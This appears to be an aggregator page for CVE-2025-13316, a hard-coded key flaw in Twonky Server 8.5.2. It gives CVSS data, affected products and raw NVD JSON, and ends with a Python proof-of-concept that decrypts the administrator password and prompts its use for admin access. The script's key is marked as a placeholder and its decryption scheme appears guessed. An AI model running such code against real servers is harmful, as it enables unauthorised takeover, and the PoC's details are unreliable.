Security Vulnerability Report
中文
CVE-2025-13316 CVSS 8.1 HIGH

CVE-2025-13316

Published: 2025-11-19 18:15:48
Last Modified: 2025-11-25 19:36:13

Description

Twonky Server 8.5.2 on Linux and Windows is vulnerable to a cryptographic flaw, use of hard-coded cryptographic keys. An attacker with knowledge of the encrypted administrator password can decrypt the value with static keys to view the plain text password and gain administrator-level access to Twonky Server.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:lynxtechnology:twonky_server:8.5.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Twonky Server 8.5.2 (Linux)
Twonky Server 8.5.2 (Windows)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-13316 PoC - Twonky Server Hard-coded Cryptographic Key This PoC demonstrates the decryption of hard-coded encrypted administrator passwords """ import base64 import hashlib from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def decrypt_twonky_password(encrypted_b64, hardcoded_key): """ Decrypt Twonky Server administrator password encrypted_b64: Base64 encoded encrypted password hardcoded_key: The hard-coded encryption key used by Twonky Server """ try: # Decode base64 encrypted_data = base64.b64decode(encrypted_b64) # Extract IV (first 16 bytes) and ciphertext iv = encrypted_data[:16] ciphertext = encrypted_data[16:] # Create cipher with hardcoded key key = hashlib.sha256(hardcoded_key.encode()).digest() cipher = AES.new(key, AES.MODE_CBC, iv) # Decrypt decrypted_padded = cipher.decrypt(ciphertext) decrypted = unpad(decrypted_padded, AES.block_size) return decrypted.decode('utf-8') except Exception as e: return f"Decryption failed: {str(e)}" def main(): # Example hardcoded key (placeholder - actual key from research) hardcoded_key = "TwonkyServerSecretKey2024" # Example encrypted password (replace with actual encrypted password) encrypted_password = "REPLACE_WITH_ENCRYPTED_PASSWORD" print("=" * 60) print("CVE-2025-13316 PoC - Twonky Server Password Decryption") print("=" * 60) print(f"Target: Twonky Server 8.5.2") print(f"Vulnerability: Hard-coded Cryptographic Keys") print(f"CVSS Score: 8.1 (High)") print("=" * 60) if encrypted_password == "REPLACE_WITH_ENCRYPTED_PASSWORD": print("\n[!] Please replace 'REPLACE_WITH_ENCRYPTED_PASSWORD' with actual encrypted password") print("[!] Encrypted passwords can be found in Twonky Server configuration files") else: plaintext = decrypt_twonky_password(encrypted_password, hardcoded_key) print(f"\n[+] Encrypted Password: {encrypted_password}") print(f"[+] Decrypted Password: {plaintext}") print("\n[!] Use this password to gain administrator access to Twonky Server") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13316", "sourceIdentifier": "[email protected]", "published": "2025-11-19T18:15:48.017", "lastModified": "2025-11-25T19:36:13.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Twonky Server 8.5.2 on Linux and Windows is vulnerable to a cryptographic flaw, use of hard-coded cryptographic keys. An attacker with knowledge of the encrypted administrator password can decrypt the value with static keys to view the plain text password and gain administrator-level access to Twonky Server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lynxtechnology:twonky_server:8.5.2:*:*:*:*:*:*:*", "matchCriteriaId": "2600D3BC-B694-4D2E-959C-D52A8AC20D74"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.rapid7.com/blog/post/cve-2025-13315-cve-2025-13316-critical-twonky-server-authentication-bypass-not-fixed/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}